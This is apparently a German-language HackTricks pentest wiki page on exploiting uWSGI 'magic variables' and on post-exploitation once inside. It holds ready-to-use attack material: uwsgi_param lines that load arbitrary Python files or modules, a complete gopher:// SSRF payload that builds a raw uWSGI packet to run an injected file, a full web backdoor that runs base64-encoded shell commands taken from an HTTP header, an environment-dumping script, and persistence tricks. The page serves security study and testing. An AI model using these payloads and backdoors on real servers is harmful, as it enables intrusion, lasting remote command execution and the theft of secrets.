WSGI Post-Exploitation-Tricks
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
WSGI Overview
Web Server Gateway Interface (WSGI) ist eine Spezifikation, die beschreibt, wie ein Webserver mit Webanwendungen kommuniziert und wie Webanwendungen hintereinander geschaltet werden können, um eine Anfrage zu verarbeiten. uWSGI ist einer der beliebtesten WSGI-Server und wird häufig zum Bereitstellen von Python-Webanwendungen verwendet.
uWSGI Magic Variables Exploitation
uWSGI stellt spezielle "magic variables" zur Verfügung, mit denen das Serververhalten dynamisch konfiguriert werden kann. Diese Variablen können über HTTP-Header gesetzt werden und können zu schwerwiegenden Sicherheitslücken führen, wenn sie nicht ordnungsgemäß validiert werden.
Key Exploitable Variables
UWSGI_FILE
- Arbiträre Dateiausführung
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Diese Variable ermöglicht das Laden und Ausführen beliebiger Python-Dateien als WSGI-Anwendungen. Wenn ein Angreifer diesen Parameter kontrollieren kann, kann er Remote Code Execution (RCE) erreichen.
UWSGI_SCRIPT
- Skript-Laden
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Lädt ein angegebenes Script als neue Anwendung. In Kombination mit Datei-Upload- oder Schreibberechtigungen kann dies zu RCE führen.
UWSGI_MODULE
and UWSGI_CALLABLE
- Dynamisches Laden von Modulen
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
Diese Parameter erlauben das Laden beliebiger Python-Module und das Aufrufen bestimmter Funktionen in ihnen.
UWSGI_SETENV
- Manipulation von Umgebungsvariablen
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Kann verwendet werden, um Umgebungsvariablen zu ändern, was möglicherweise das Verhalten der Anwendung beeinflusst oder das Laden bösartiger Konfiguration ermöglicht.
UWSGI_PYHOME
- Manipulation der Python-Umgebung
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Ändert die Python virtual environment und kann potenziell bösartige Pakete oder andere Python-Interpreter laden.
UWSGI_CHDIR
- Directory Traversal
uwsgi_param UWSGI_CHDIR /etc/;
Ändert das Arbeitsverzeichnis, bevor Anfragen verarbeitet werden, was für path traversal attacks ausgenutzt werden kann.
SSRF + Gopher zu
Der Angriffsvektor
Wenn uWSGI durch SSRF (Server-Side Request Forgery) erreichbar ist, können Angreifer mit dem internen uWSGI-Socket interagieren, um magic variables auszunutzen. Dies ist besonders gefährlich, wenn:
- Die Anwendung SSRF-Schwachstellen aufweist
- uWSGI auf einem internen Port/Socket läuft
- Die Anwendung magic variables nicht richtig validiert
uWSGI ist aufgrund von SSRF zugänglich, weil die Konfigurationsdatei uwsgi.ini
socket = 127.0.0.1:5000
enthält, wodurch es von der Webanwendung über SSRF erreichbar ist.
Exploit-Beispiel
Schritt 1: Erstelle bösartigen Payload
Zuerst Python-Code in eine vom Server zugängliche Datei injizieren (Datei-Schreibvorgang auf dem Server, die Dateiendung ist egal):
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
Schritt 2: uWSGI-Protokoll-Anfrage erstellen
Verwende das Gopher-Protokoll, um rohe uWSGI-Pakete zu senden:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
Dieses payload:
- Verbindet sich mit uWSGI auf Port 5000
- Setzt
UWSGI_FILE
, um auf die bösartige Datei zu verweisen - Zwingt uWSGI dazu, den Python-Code zu laden und auszuführen
uWSGI Protokollstruktur
Das uWSGI-Protokoll verwendet ein binäres Format, wobei:
- Variablen als längenpräfixierte Zeichenketten kodiert werden
- Jede Variable hat:
[name_length][name][value_length][value]
- Das Paket beginnt mit einem Header, der die Gesamtgröße enthält
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Verwende dann UWSGI_FILE
, um diesen backdoor zu laden:
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
Umgebungsbasierte Persistenz
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
2. Informationslecks
Auslesen von Umgebungsvariablen
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
Zugriff auf das Dateisystem
Verwende UWSGI_CHDIR
in Kombination mit der Bereitstellung von Dateien, um auf sensible Dateien zuzugreifen:
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
3. Privilege Escalation
Socket Manipulation
Wenn uWSGI mit erhöhten Rechten läuft, könnten Angreifer die Socket-Berechtigungen manipulieren:
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
Konfigurationsüberschreibung
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.